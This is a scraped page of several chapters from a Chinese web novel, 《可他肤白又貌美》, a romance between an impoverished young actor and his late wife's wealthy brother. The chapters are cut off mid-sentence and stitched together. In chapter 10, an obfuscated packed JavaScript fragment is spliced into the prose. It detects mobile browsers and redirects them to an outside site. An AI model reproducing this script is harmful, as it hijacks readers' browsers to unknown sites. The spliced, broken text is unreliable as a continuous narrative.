路听:“导演……求求您能告诉我,什么时候能发啊?我能……拿多少钱?” 陈青平:“……” 陈青平看他那卑微模样,满腹经纶全都被浇灭了下去。他实在是太不喜欢急功近利的年轻人了!最终他看着前面苦苦巴求他的路听,挥了挥手,冷漠至极, “明天!后天才能出来!” “出去吧出去吧!” 路听忐忑不安等到第二天,他害怕片酬不发,他着急儿子的治疗费。 第二天临近收工,片酬终于敲定。这个东西不明着面公布,私底下发合同,每个人心里有个数。 其实演员的片酬,绝大多数都是背后经纪团队和公司为他们去争取。一块饼就那么大,要有一堆人瓜分,谁的背后后台硬势力大,那瓜分的一定要多。 路听没有经纪人,他背后的公司芝麻大小。到手的片酬他一打开,整个人都懵了。 个十百千万。 路听非常非常崩溃,那天下午连家都不回了,横冲直撞,直接去拦了导演的车。 陈青平刚跟那几个大公司的经纪人谈完,已经疲惫到想退圈跳楼。路听拦住了他的车,一串一串眼泪往下掉。 问他,怎么可以只有十来万块钱。 说句老实话,陈青平给路听发片酬合同时,也已经觉到很对不起他这个男主角。可那些演员背后的金主实在是都很厉害,经纪人一个比一个嚣张。他原本还有些对路听愧疚,可一见路听拦他的车,陈青平瞬间又很烦这个年轻新人太爱钱! < 7.【7】 《可他肤白又貌美》全本免费阅读 祁聿风写着字的笔一顿,掀起了眼皮。 他那琥珀色的眸子,直勾勾盯着路听。路听面色苍白,但抓着玻璃窗框的手指却死死压紧,一点儿也不肯松掉。 半晌,祁聿风问道:“你在演戏?” 路听摇着脑袋,头发左一晃右一晃的,“哥,我们能、谈谈吗?” “我,我被欺负了,我知道你很厉害,我想要一个能帮一把我的人,我……” 祁聿风:“许林!” “开车!” “哥!” “放手!” “……” 眼见上班的点到了,祁氏总部大厦的门口车来车往,员工们都在往这边伸头看热闹。双方僵持了好一会儿,祁聿风转过头去,闭了闭眼,声音里夹杂着嘲讽一字一句道, “路听。你听好了,当初要走的人是你,我随了你的意!” “为此事我被我父母训斥了好长一段时间,现在你却又回来求我想要祁氏的庇护;” “你是觉得祁家很廉价是可以随地大小便的公厕吗?还是你觉得你自己就是块垃圾,任人怎么作践都可以?” “我……” 路听瞬间面红耳赤,虽然祁聿风没提“包/养”二字,但他听着就感觉脸上像着火似的。 火辣辣。 祁聿风:“你要是想作践自己,可以!但,别扯上祁家!” 祁聿风一点儿都不给他脸,说罢,便让助理开车。他还让旁边的安保把路听给拉走。路听被保安架着胳膊,扑腾了两下,一点儿力气都没有。 祁聿风回到办公室,第一件事就是让许助理去查一下路听最近究竟又在干什么,让许特助不要再只查出【小路先生进组演戏】这么几行字了!许助理兢兢业业去重新查,祁聿风在椅子上坐了下来。 吐了口气,扯了一下领带,转头望向落地窗。 落地窗外,高楼之下,路听依旧站在门卫处。那烈日那样灼烤着大地,他就那么小小身板站在那里,小小一只。好像一棵脆弱的草,风一吹,就能给吹散了。 很快,许特助便调查回来。推开门那一瞬间,许助理脸上罕见露出慌乱的神色。 “老板!”许助理呈递过去一份报告, “祁小公子,出事了!” 祁聿风接过报告,几下翻看。 瞠目。 “……” “心脏病?!!!” 许助理已经想好辞职报告了,连炒鱿鱼后回家哪个旮旯里种地都安排的明明白白。他咽了下唾沫,很缓慢,一字一句道, “还有,小路先生他……” “在楼下,晕倒了!” …… * 《小冬风吹》剧组今天的氛围都很压抑。 男主角没来,据说是跟导演因为片酬闹情绪了。 艺人们你看看我,我看看你,没想到就这么一个纯素人纯萌新的小细胞,居然敢跟陈导耍如此大的牌!陈导不好惹,他们经纪人昨天争取片酬时也很疲惫。 然而知道真相的陈青平也很生气,他生气路听居然就这么不来了,就这么不来了?昨天那些话就那点儿打击?他真是一点儿承受能力都没有! 陈青平正烦躁,忽然就手机就响了,他看到来电显示“祁总”,脸色愣了愣。 他这才回忆起祁聿风曾经警告过他不要欺负新人,投资爸爸比天大,陈青平这才不情不愿先检讨了一下自己,不该对那个小新人小路听那么凶。 他转身,接起了电话。 祁聿风依旧是那个不爱先开口的人,两个人对着电话沉默了半天,导演居然觉得自己的心脏在加速跳动。 突然,祁聿风开口说道, “你知道路听是我的亲妹妹的丈夫吗?” “……” 亲妹妹的丈夫, 妹夫。 陈青平悬着的心,终于。 炸了! …… 导演也请了假,直接往陆军医院奔去。 他也不知道那是妹夫啊!导演感觉自己要死了。陈青平到了医院院长办公室,推开门,发现一屋子都是全世界数一数二的心脏病专家。 满屋行走的参考文献,正围着祁聿风,严肃谈论。 陈青平还在那一群人之中看到了一个很眼熟的年轻女孩,年轻女孩长得很网红,陈导一拍脑门,认出那不是每天都在剧组等路听下班的绯闻女友嘛! 妹妹去世妹夫新找的对象,陈青平os:祁聿风挺大度。 女孩和祁聿风谈了好久的话,祁聿风垂眸听着,脸上一点儿不耐烦的神色都没有。林心懿说完,鞠了个躬就离开。祁聿风抬了抬手,让许特助亲自去送送。 那些专家也得出了统一方案,他们跟祁聿风一点头,拿上拍片和病历,有序离开院长办公室,往小孩的病房走。 门开门关,就剩下了祁聿风和陈青平两个人。 陈青平故作关心,问小孩怎么样了。 祁聿风勾勾手:“你过来。” “……” 哐当——! 祁聿风突然给了陈青平一拳。 * 祁聿风带着陈青平一起去看祁川,顺道去看了眼送到普通病房的路听。路听就是普通发烧,饿到昏迷。陈青平站在病房外透过窗户看躺在病床上挂点滴的路听,不得不在心里感 8.【8】 《可他肤白又貌美》全本免费阅读 僵持了半秒钟,路听到手缩了回来。 他感觉到祁聿风还是很不待见他,这个时候要是继续不要脸,可能就会彻底把两人的关系送上决裂。路听知道要有进有退,他缩回去手,心想这次就这样了吧。 下次!下次再继续缠! 路听一收手,祁聿风周围的气场好像更冷了,祁聿风的身边散发着淡淡的嫌弃气息,路听低着头看了一会儿膝盖上的输液管,突然就听到男人“哗啦”站起身,大步流星离开病房。 碰——! 大铁门被摔上了。 就连身后的玻璃窗都被震了三下,祁聿风走后,路听望着那关闭的铁门,突然就感觉到很悲哀: 祁家人都不喜欢他; 祁聿风,也很不喜欢他。 …… * 第二天一早,祁聿风就去公司开周五例会。七月份的天早上就很热,散会后,他直接回到办公室,脱下了沉闷厚重的西服外套。 只穿着一身白色衬衫,领带别在胸口前的两颗纽扣之间,祁聿风坐下,打开手里的文件夹,很烦躁地批阅着面前的一堆项目报表。 咚咚咚——许助理敲门进来。 许助理递给祁聿风一些早晨会议的总结,汇报了几个项目的跟进程度。然后他往前走了一步,站在办公桌前,跟祁总低声说道, “小路先生已经出院了。” “是林心懿小姐接的他。” “两个人还去看了孩子,都按照您吩咐的进行。” “……” 祁聿风半分想要讨论的目光都没有给他,完全看不出对这件事的关心。许助理了解自家总裁的脾性,他汇报完,准备走,突然又想到什么似的,又转过头, “哦对,您要的房子已经交接完成,合同也交到了对方手中,路程距离陆军医院十分钟的公交车,很方便。” “祁总,恕我直言,桦山那一带真的不是很安全,您要不要再考虑一下?您要是不愿意回祁氏庄园,我可以再去跟您找更好更舒适的公馆住。桦山区对您来说实在是有些掉价……” 祁聿风终于掀了掀眼皮,抬起头,对许助理说出了今天的第一句话, “许林,我以前怎么没觉得你这么多嘴?” 许助理:“……” 许林也不理解刚刚那堆再正常不过的上保险的话有哪里说的不妥。许助理走后,祁聿风立即放下手中的笔,靠在了身后的座椅靠背上。 他皱着眉,仿佛在隐忍着什么。过了好半天,他又直回了腰,他伸手去拉左边最靠上的抽屉,都说左侧抽屉最靠近男人的心脏,是储存最重要物品的良位。祁聿风从里面取出一块雪白的帕子,放在掌心攥了攥,闻了闻。 帕子洗的干干净净,散发着独特的奶香气。 祁聿风站起身,攥着帕子去了卫生间,一个小时后出来。他依旧板着脸,衬衣纽扣扣合的又严谨又一丝不苟,他重新坐回到办公桌前,拿着手机,找出来一个号码。 发了个地址过去给对方。 …… 林心懿带着路听中午去了趟医院,探望祁川。 小孩的病情暂时已经稳定下来,全球顶尖心脏病专家正在一轮又一轮会诊。路听和林心懿看完祁川出来,都有些开心到想要哭。 他没想到懿懿姐居然给他弄了一大笔钱,把手术费都给交上了! 昨天他拖着疲惫的身子回到公寓时,其实心里特别绝望。他对不起川儿,又怕又难过。林心懿去了趟屋里又折回,突然给了他一张银行卡。 路听迷茫,林心懿告诉他,她可以借给他钱! “你哪儿来的钱?”路听一下子懵了。 那确实实打实是整整一千万!一整张卡全部都是!林心懿也不是超有钱的主儿,她握着路听到手,把那张卡紧紧塞到他手里, “路听,你听我说!” “你还记不记得我之前在桦山公寓,买了一套房子?” “那本来是我打算搞投资的,靠商场靠医院靠学校,位置很棒!但就在昨天,突然有个神秘人,过来找我;” “他提出想要买我这套房子,给我开了四十倍的价格呢!” “整整四十倍!一口气全款付完!我还是第一次见到出手这么阔绰的人!太震撼了!这钱你先拿着,以后川儿要是还需要医药费,我还可以给你塞……” 路听与她推搡了好久,真的太不好意思收下这笔钱。但懿懿姐说救孩子更要紧!路听二话不说抽出笔和纸,写了全额欠条。 林心懿心疼地道:“算了吧,小路,你哪儿来的钱还我?” 路听心一颤,沉默。是啊!他哪儿能来一千万的巨款,去还林心懿…… 两个人走出医院,林心懿去拿快递,让路听先上了车。路听上了副驾驶,看到副驾驶座上堆着一摞白纸黑字的文件。 他拿起文件,想把文件塞到后面的车座里。 突然就瞥见了,封面上的几个大字: 【房产转让合同】 【卖家:林心懿】 【买家:许林(代理人)】 许林,祁聿风的特助! 路听突然就感觉到心跳加快,许助理买房子,那就是给祁聿风买的!他左看看右看看,确定周围没人。他悄悄去翻了一页那合同的前面,看到了后面买家的更详细联系方式,和房子的具体楼栋单元门户…… 很快,路听就看完了。 他把合同重新放回到后面的车座子里,心脏咚咚咚狂跳。这难道真的是上天眷顾他吗?祁氏庄园他不敢去,祁氏大厦的总部办公楼门卫保安早就知道了祁总不待见他。他对追求祁聿风的绝望很大程度来自于 9.【9】 《可他肤白又貌美》全本免费阅读 祁聿风上了楼。 路听见到祁聿风,还是瞬间紧张了起来。祁聿风的风衣拂过夜色朦胧的走廊过道。两个人在四楼与五楼之间的窗台前见了面。 祁聿风看到路听,脚步瞬间一顿。他抬头望了望紧张不安的前妹夫,眉头微皱, “你怎么来了?” 前大舅哥一开口,路听到心脏就狂跳不已。他一下子又想起昨天祁聿风在医院里那么讨厌他,到嘴边的那句“能不能包/养我”瞬间又咽回了嗓子里,他慌慌张张找了个理由,随便脱口而出—— “我……我来给你做饭!” “……” “……” “……” 祁聿风皱着眉,看着他细瘦的肩膀上,仅仅只背了一只很瘪的双肩背包。 路听撒谎撒的有些离谱,连他自己都脸红了,不自在地低下头。他真相抽自己两嘴巴子,怎么就说成做饭了呢?说来找这前姐夫取经考研都比这强! 然而一阵沉默过后,头顶突然传来祁聿风低沉的嗓音: “进来。” …… 一进屋,祁聿风就去洗澡。 他洗完澡,用毛巾擦着头发走出浴室,浴室拐个弯就是餐厅,祁聿风去找水喝,就看到厨房亮起了灯,里面咕噜咕噜冒着袅袅热气。 路听把熬好的白粥端了出来,用木碟子做托放在餐桌上。祁聿风看着一只碗和仅有的一锅砂锅白粥,对面米袋子还不是新拆开,是之前的户主留下来没吃完的。 祁聿风拿着毛巾,一字一句,问路听:“你做的饭呢?” 路听:“粥啊……” 祁聿风:“你家晚饭只喝粥?” 路听挠了挠头,理直气壮:“菜我刚才看了,好像掉路上了!” “……” 祁聿风眉头紧锁,额角青筋kuku跳了好几下。他让自己冷静一下,别被笑死, “……我不喜欢喝白粥!” “啊?那……”路听一怔,反应极快, “那——那我现在去给你买菜炒菜!” 祁聿风:“我不饿了!” 他说完,肚子却十分不争气咕噜叫了一声。这一声让两人又陷入了一阵沉默,粥的热气还飘香,路听慌慌张张摘下围裙,大步流星边说边往门口走, “哥,你等着——” “滚出去……” “你等着我这就去买菜!我马上回来!” “……” 好在这个小区居住人口特别多,到处都有二十四小时超市。路听很快就买好了菜,提着一袋子一袋子回到祁聿风的公寓。 他哼哧哼哧又爬上了五楼,气喘吁吁到达门口。到门口那一刻发现门被关上了,路听抬手去敲,“咚咚咚”敲了三四下。 里面没有任何要开门的迹象。 路听不死心,继续敲。 突然,门开了。 然而并不是祁聿风让他进门,而是他的书包被丢出。“砰!”的一声书包被扔到了外面的水泥地上,门再一次被关,拂了地面一片灰。 路听愣了愣,弯腰拾起地上的包,站在紧闭的大门前,摸了摸鼻子。 没事!没事…… 明天再战! 第二天一早,路听又来了。 他敲门的时候,还担心祁聿风连开门都不给他开,这个小区楼下的门铃坏掉了,不用门禁就能上来。 可防盗门板里传出了越来越近的拖鞋声,“哗啦”门被从里面拉开,系着衬衣袖扣的祁聿风玉树临风站在他面前。 不得不说祁聿风长得可真是英俊,路听稍微被闪瞎眼,祁聿风见到路听,眉头就没松开过。他望着路听又提着大包小包,居然还弄了弄发型,他真是来做饭的吗? 路听提着那大包小包的菜,就想往门缝里挤。 祁聿风挡在门口,不让他进来。 “哥!”路听眨了眨眼,水汪汪的大眼里蓄满了期望,他实在是太会利用男色了,一般男人看他这样求人,根本招架不住, “我今天,特地去买的鲫鱼。” “还有小青菜、茄子、茶树菇杏鲍菇。我绝对能给哥做特别好吃的菜,你尝尝……” 祁聿风慢条斯理系着纽扣,系完,他准备关门, “我现在要去上班。” “……” “哥……” 路听慢慢垂下头去,手里的袋子都落在地上。他很局促,无论怎样说,都被拒绝,拒绝到束手无措。 他低着头,局促不安说道, “我记得你以前,和舒尔,最爱吃我做的红烧鲫鱼和小鸡炖茶树菇……” 祁聿风长长吐出一口气,他这个妹夫是个神人他真的很认可。他见路听到耳朵也红了,好似在怀念去世的妻子。 站在他这个大舅哥的家门口。 祁聿风忽然敞开门,他让路听进来,一字一句道, “我要上班。” “你快点弄!” …… 路听做饭还是很有一手。 他做的茶树菇炖鸡,色味俱全,红烧鲫鱼肉又嫩又滑,入口即化。祁聿风再嘴硬,但也硬不了路听做的饭好吃。 路听没吃,他专程给前大舅哥端茶送水。看着祁聿风认真吃饭,路听难免就想起过去祁舒尔还活着的时候,他和这个大舅哥为数不多几次聚餐。 “我记得哥以前就喜欢把好吃的茶树菇挑出来,给舒尔吃……” 妹妹喜欢吃的东西,哥哥永远不会抢。现在妹妹去世了,只剩下大舅哥和妹妹的未亡人,围着桌子,坐在一起默默吃饭。 路听见祁聿风也不说话,眼珠子转了转,又打起了主意, “哥,” “……” “我感觉你这个家里,好像还缺个照顾你生活的保姆……” 要是能给祁聿风做保姆,或许也可以攀上祁聿风这座大靠山! 祁聿风动了动嘴唇,吐出一根刺,他用勺子舀着稀饭,慢津津道, “不缺!” 路听心碎。 路听把头别了过去,再想 10.【10】 《可他肤白又貌美》全本免费阅读 给祁聿风当“保姆”这事儿,路听就稀里糊涂地接受了。 次日,许助理来找到了路听,他递给他一个厚厚的A4纸打印本,告诉路听这上面是全部的祁总日常吃喝生活的喜好。 “这……是要我按照这上面的去伺候祁聿风?”路听问。 许助理微微一笑:“祁总这人,边界感很强。他不喜欢的东西你要是给他做了吃了,他会心情不好。” 路听:“好的!” 路听十分感激许助理送来的【祁聿风生活使用指南】,熬夜苦读好几个晚上。第一天正式去祁聿风的公寓里给他当“保姆”,他信心满满按照指南上“祁聿风喜欢的食物”,给祁聿风做了一桌子的菜。 【指南】上写,祁聿风喜欢吃咸口的晚饭,不吃猪肉,牛羊晚上也不吃。 路听琢磨了一下,主菜做了一道拿手的“盐渍风干小母鸡”。 他依旧不吃,伺候祁聿风吃。路听满怀期待,看着祁聿风拿起碗筷,风干鸡被油焯过,外皮酥脆里面细嫩,以前祁聿风就喜欢吃他这样处理过的鸡,他觉得祁聿风应该也会对这个咸口的风干小母鸡很满意。 祁聿风喝了几口粥,夹了几口菜。 “……好咸。” 路听:? 祁聿风只吃了几口粥,就不吃了,那只风干鸡他半口都没咬完。路听一脸懵逼,他迷茫,脱口而出问: “你不喜欢吃咸口的?” 祁聿风微皱眉,用餐巾纸擦干净嘴角,纸巾压着嘴唇, “我不喜欢吃咸的!” “……” 路听到耳朵红了,脸涨得通红,他没想到第一天就出师不利,信心变愧疚,不知所措低头道歉, “对、对不起……” “我明天,绝对不做了!” 当天晚上,路听就去网吧查了一个晚上“哪种盐渍风干鸡是不咸口的”,查了半天查到他人生怀疑,都“盐渍”了,怎么可能不咸?他想那是食谱错了吗?但那似乎又不太可能! 许助理怎么可能给他假的食谱? 隔日许助理上班,就接到了路听到电话。路听在电话里都声音很沮丧,许助理却十分淡然,仿佛就是在等路听给他打这通电话。 路听很挫败地问许林,是不是他哪地方出错了? 许助理理解了好久,才明白路听问他的是“是不是他路听哪儿出问题了”,路听说“食谱是盐渍的没问题”“祁聿风不喜欢吃咸口的也没问题”,那出错的就是他自己了呗!许助理把这两个“因”拼了半天,最终导出路听到这句话再翻译翻译便是——“做饭的方式是不是不对?” 只可惜路听的脑袋只想到“我是不是错了”,却想不到“我做饭的方式是不是不对”这个层面。许林无语,想到总裁给他的使命,他拿着电话,委婉提醒了一下路听, “小路先生,你知道祁总的理想型是什么样的人吗?” 路听:“什么样啊?” 许助理顿顿嗓子:“居家,温顺。” “还要有点,少夫类型。” “……” 路听孤陋寡闻,去查什么叫做“居家型少夫”。一查吓了一大跳,全是擦边男同!穿的特别漏,乃/子都还特别大!他脸红着关掉电脑,偷偷摸摸跑出网吧。 祁聿风喜欢这样的? 但他也没觉得有什么不对,他大舅哥可绝对不是男同!大舅哥喜欢这样的一定有他的道理!路听离开网吧就去地下商场,视频里的擦/边男同都穿的特别骚,他得去买套骚死了都衣服。 那天晚上,祁聿风回家,就看到路听跪在茶几前,撅着圆滚滚的屁股,又白又细的腰塌的极低,正卖力擦玻璃。 路听的屁股已经丰满到跟他那小小身板严重不符的地步,这点祁聿风在上次抽他的时候就知道了,质感超棒。路听还一改前几天的男大穿搭,换上雪白柔软的白色衬衣。下面就穿了一条浅浅的打底裤,两根腿笔直,垂在衬衫摆外。 吃晚饭,祁聿风吃的比前几天都要少。 路听怎么也想不明白,他究竟哪儿让祁聿风不满意?这一刻他慢了十个拍子的反射弧终于回应,意识到把“食谱没问题”“祁聿风也没问题”都排除后,剩下的只能是“祁聿风不喜欢他这个人!”路听起身准备走,他觉得祁聿风还是那么讨厌他,他也别再等他赶他走,他自己走便是。 祁聿风突然拉了一下他的胳膊,让他坐回到饭桌对面。 “哎!”路听转了一个圈坐回到饭桌对面。 他垂着脑袋,雪白又勾人的白衬衫轻飘飘贴在身子上,为了讨祁聿风喜欢的“少夫居家感”,他还特地解开了三颗衬衣纽扣。 与瘦弱小身板唯二严重不符的胸,都也能隐约看到胸/沟。 祁聿风每一个动作都做的极为缓慢,折叠纸巾,擦嘴角。腕表下的青筋微微凸起,他借着昏幽的厨房灯,将手腕压在西服袖子上,遮住脉搏旁的异动。 “明天去,再买只盐渍鸡过来。” “……” 路听一愣。 身体里的每一个细胞瞬间舒展,仿佛如释重负!他知道这就是“祁聿风式”的表达“我很满意”!虽然大佬的脾性真是捉摸不透,昨天说不吃咸的,今天又要他再去买! 路听抱着吃完饭的盘子,高高兴兴去厨房洗碗收拾垃圾了。祁聿风看着他进厨房,告诉他他要洗澡。 洗澡前,他去书房抽屉里拿了东西出来,他捏着那块喂奶巾看了好一会儿,听着厨房内哗啦哗啦的流水声,转身便进入了浴室。 …… * 路听每天五点半就要来公寓准备早饭,但他却不住在祁聿风的家里。 原因很简单,祁聿风的这套公寓是一室一厅,外加一个狭小的储物间。祁聿风亲自提过不让人睡沙发,路听瞬间理解,说自己那就去买个帐篷,住在楼顶。 “这样我早上五点钟醒,五点半就可以来你家!”路听认认真真琢磨买个什么样的帐篷比较合适住房顶。 祁聿风听到这个回答时,明显愣一下。他大概没料到路听对于“不让睡沙发”的理解是这个样子。路听真的去买了一顶帐篷,在十楼的顶层花园露台,找了一个阴凉的地方,支开,搭建好。 路听给祁聿风看了他“朝五晚十”的迷彩小绿帐篷,还在等着祁聿风夸他聪明。 祁聿风努力吸了几口气,周围的温度突然又下降。路听很奇怪,这种“既能及时下来当保姆又不打扰主人的隐私生活”的模式难道不是很正解吗?为什么大舅哥似乎是有点生气了呢? 祁聿风按了按眉,良久,他丢给路听一句话: “早上你要是来晚了做饭做迟了,我上班迟到了——” “工资,一分都别想找我要!” …… 八月,津港城开始陷入满天暴雨之中。 路听兢兢业业给前大舅哥做“保姆”,早上伺候心情还不错的祁聿风,到了晚上又会伺候一个突然冷脸的祁家大公子。有钱人的一日三时都是变来变去的,他捋开心了祁聿风,拿到丰厚的钱,全部贴回给了林心懿。 沿海城市来了一个台风,尾巴却擦着心脏处的津港。狂风暴雨来临的前一天,祁聿风意外回家特别早。 路听还在纳闷祁聿风怎么这么早就回来,这样他准备饭都有些匆忙。吃了晚饭,路听收拾好厨房垃圾,出来厨房看到祁聿风还坐在餐桌前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12013774|123108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意把他给忘掉时—— 某个很普通的冬天清早,路听忽然接到祁舒尔助理的电话。 那时候宿舍里已经没有其他人了,整栋宿舍楼都空空荡荡。祁舒尔的助理让他下楼,路听迷茫,头从阳台探下去,看到祁舒尔的粉色玛莎拉蒂直溜溜停在宿舍楼的下方,平日脾气火爆的宿管阿姨大气不敢喘一下杵在旁边。 “……什么事?” “祁总怀孕了。” …… …… …… 路听只洗了一把脸,早饭都没吃,马不停蹄去见祁舒尔。 就这么说,那天晚上到底发生了什么,路听根本就一点印象都没有。都说男人摄过后,会有浑身卸下重担的感觉。但路听没有,起床就是一身喝醉酒后的疲惫。 只是他不太会拒绝,又担心万一是真的呢? 那天天气挺晴朗,是很典型的北方雾蒙蒙的隆冬。路听下了那辆招摇过市的玛莎拉蒂,脖子上的围脖在风中凌乱飘扬,透过雾蒙蒙的空气,他看到约定地点的咖啡馆,贴着还未揭掉的圣诞窗花的玻璃窗里,祁舒尔坐在靠窗的位置,穿了一身驼色大衣,手里捻着一根烟。 她好像憔悴了不少,低着头在拿手机发短信。 路听推开门,门铃叮咚响。祁舒尔依旧在发短信,仿佛很重要。路听拨了拨屋内暖流一样的空气,给自己打了打气,硬着头皮像个男人一样走了过去。 坐下。 祁舒尔的眉头就没舒展开过,直到路听过来,她抬头看他,才稍微缓了一些。她好像真的状态不太好,瘦了好多,很勉强对路听扯出一个笑。 很勉强地想要像以前那样,对路听大大咧咧, “小婷婷这么久没见,想不想姐姐呀?” “……” 路听攥了攥拳头。 祁舒尔虽气血很不足,但还是伸着手指让服务生们给路听上了一大桌子他爱吃的他爱喝的。路听心里翻江倒海,很多混乱的情绪搅在一起。一切都是那么的荒唐,但祁舒尔看着又好可怜…… “舒尔姐!”路听忽然吐出一口气。 祁舒尔抬眼,望着路听。 路听掐紧了牛仔裤, “我会对你负责的!” “不管那天的事情到底是谁的错,既然已经发生了,我就、我就不会、不会不管你……” 祁舒尔一愣,像是整个人听到什么不可思议的事情。这时她手里的手机突然响起,祁舒尔接通,对面的声音听着隐约掺杂一些怒火。 祁舒尔:“哥——你等一下!” 她突然捂住了手机对讲孔,然后抬头看向路听。路听也有点懵,因为一切都已经脱离他所能认知到的界限。祁舒尔一只手攥着手机,另一只手,指了指那手机屏幕。 对路听,说道, “你能不能,跟我哥,说一说?” “我哥……想和你谈谈!” 19.【往事】 路听一惊。 他知道祁舒尔有个哥哥,也知道那男的十分厉害,津港第一大家族的太子爷。说是太子爷,实则是佛爷。整个祁氏大权都握在他手里,年少成名,没人能撼动的了他在津港的地位。 就是这样一位八竿子打不着边的权力巅峰,居然说想跟他谈谈?路听还在懵逼之中,祁舒尔就已经把电话递给他。 路听犹豫着接过手机,把听筒放到耳朵边。 “嗞——” 无线电波在耳边炸了一下,紧接着一把酒酿过的嗓音,好听地灌入耳郭。 “你好,路先生。” “我是祁舒尔的哥哥,祁聿风。” “……” “……” “……” 路听光是听声音,就感觉室温仿佛下降了好几度。 祁聿风并没有把这通电话的主导权交给路听,他没等路听想好怎么回答,直接强制性地夺走主导地位, “听着,舒尔的这个孩子并不是你的。” “……” ! 祁聿风:“但接下来的话你还是要听,并且还可能颠覆你的三观。” “舒尔肚子里孩子的亲生父亲在国外犯了法,会坐牢,一辈子都不可能再跟舒尔见面。但小孩不能没有父亲,舒尔也没时间照顾孩子。” “路听,我见过你的暑假工履历,你曾在幼稚园里当过育儿老师,实习经历和业绩都十分优秀。舒尔也到了该结婚的年纪,你俩也刚好在一起过,路听,如果你愿意和舒尔结婚,你想要什么、只要不是悔婚,祁氏都能给你!” “你父母生病时欠下的巨额医药费,祁氏全部包揽。结了婚,你想去哪个学校读书,国外常青藤,随你选。想读什么专业,直接提。需要几位数的钱,直接说。” …… 有很长的一段时间,整个咖啡厅,都鸦雀无声。 本身祁舒尔就包了场,她本以为她哥不可能赞同她这一铤而走险的荒诞计划,却没想祁聿风把她训斥了这么些天,到头来真的找来路听,他这个当哥哥的还是对妹妹妥协。 祁舒尔很好奇路听究竟会不会答应,她捻着烟看向路听。路听到脸色苍白,眼神也有些涣散,显然是被吓到。 路听张着大嘴,感觉胸腔仿佛被人用力挤压,呼吸都有些不顺利。他的心脏也狂乱挑个不已,祁聿风的话在耳边一圈圈荡漾。 这是要让他、当接盘侠吗? 路听性子再面再软,他也是个几把往前伸的铁骨铮铮男孩子!哪有男人愿意给素未谋面的男人当接盘侠?路听气到脸烧红,刚想站起身丢掉电话走人,祁聿风突然又开了口。 “路先生是不是还有个想当演员的梦?” 不得不说,这个男人的声音真的很动听,像是一杯陈酿的红酒,流过耳蜗,越品越上头。可这不是让他就此就范的洗/脑术,他也不知道祁聿风从哪儿打听来的他只在高一的立项计划表写过一次的“当演员梦”。 路听握着电话,坐在沙发上咬了咬下唇。 那个时候,他对祁聿风究竟有多么牛逼,还没有一个非常具体的估值。他咬了好半天都嘴唇,才保住最后的底线,在一阵沉默中,答道, “祁先生,我拒绝!” “……” “……” “……” 电话那一端,祁聿风好像轻笑了一下。 路听很怕惹祁聿风生气,因为学校里每年总会有年轻稚嫩的学生惹社会上很有钱有权的人而人生翻天覆地,他甚至都有点不太敢继续听下去这通电话。 然而笑完后的男人,却好像并没有动怒。 他也仿佛早已预料到路听会拒绝,也没继续劝下去。路听紧张攥着手机,凛冽的寒冬,他的掌心微微沁出一丝丝汗。 他听到祁聿风,很悠然地说道, “这件事你不用着急给我回复。” “你可以考虑一下,考虑好了。舒尔的肚子现在还不显怀,这件事天知地知你知我知,也只有我们三个人知。” “考虑考虑,有什么跟你刚刚的回答不一样的决定了,再可以重新答复我。” 路听又有点被他弄得想解释,祁聿风却顿了顿,道, “我待会儿还有个会。” “如果想明白了,给这个手机号打电话。” 路听还在懵逼之中,祁聿风就已经挂断了电话。路听脑袋空空地看着对面的祁舒尔,祁舒尔很罕见地也处于震惊状态。 她的憔悴都被震惊给遮掩住,祁舒尔跟路听大眼瞪小眼了几秒钟,望着路听还给她的手机,上面还停留在【祁聿风】三个字。 祁舒尔苦笑了两声:“第一次见我哥能这么、放低姿态。” “……” 路听倒没听出任何“放低姿态”,这难道不是资本家的权贵手段玩弄老百姓吗?路听还完手机,摇摇头,对祁舒尔说了声“抱歉”。 “抱歉,我……我没办法接受!” “你跟你哥说说,我也不可能再会给他打电话告诉他其他答案。” 祁舒尔捏着手机坐在桌前发愣,路听站起身,去服务台把已经买单的钱数息又重给了一份,头也不回便重新钻入到白雾霭霭的隆冬天之中。 …… * 这件事在路听脑子里又是挥之不去了很久。 期间,祁聿风还曾给他私下打过一笔钱,他知道那是祁聿风,祁聿风用的私人账号给他打的。 他去营业厅查了那个卡号的关连手机号。 路听望着那整整七位数的“抱歉费”,好不容易平复下去的心又被稍稍搅了一下。他想把这笔钱还回去,银行却告知他,这笔钱是尾号【1823】的强制赠予,无法办理退还手续。 路听很不是滋味,钱也没动,最终就留在那个账户里,想着等有机会把它们都给还回去。 大三那年的除夕,路听没有回老家。他一个人留在大城市继续打拼,到了除夕夜,家家户户都停下脚步回家过团圆年。 除夕夜所有工作工资都会翻三倍,路听一天晚上接了三个活,从便利店下班转身又跑去送外卖。 路听跑到了凌晨三点钟,三点过一刻,他才终于下班。最后一家客户还多送一份饺子给他,路听抱着饺子谢过,开开心心骑着车往学校宿舍走去。 从公司回学校的路有点长,穿过津港城的中央区。中央区的对角线上,刚好建了一座很有名的休闲公园。公园里有一片人工湖,路听骑着车子,穿过挂满灯笼凄凄冷冷的人工水洼。 风那么冷,他刚要过去那座桥。 忽然,就看到桥的另一侧—— 有个人!要跳河!!! “……” 路听大呵了一声“你干嘛——”,扔了车子就要去救人。从桥的这一端到那一端还是有几个坡要跑,路听一路蹦跳,越靠近了忽然就觉得那跳河的人怎么越看越像祁舒尔? ??? 靠近了发现还真是!路听得有又一个月了没有见过祁舒尔。但即便再不愿意打交道,他也不可能对人要自杀见死不救! 祁舒尔完全没有听到路听喊她,她的脸色苍白,在路听还有五六米就要冲到她面前时, 她突然,一股脑猛地就往湖里扎了下去! 路听一怔,二话不说,手机车钥匙扔路边,想都没想一并跟着跳进了河里! …… 祁舒尔其实水性比路听好多了。 两人游上岸,路听就一只手捂着胸口单手撑地,用力咳嗽不停。祁舒尔倒是什么事都没有,垂着湿漉漉的脑袋,大冬天也不在乎冷,摸出来还没被泡透的烟,捻了一根,咬在嘴唇角。 火机还算能用,点燃一支烟,她抽了一口,颓败在冰冷空气中散漫, “小路听听啊……” 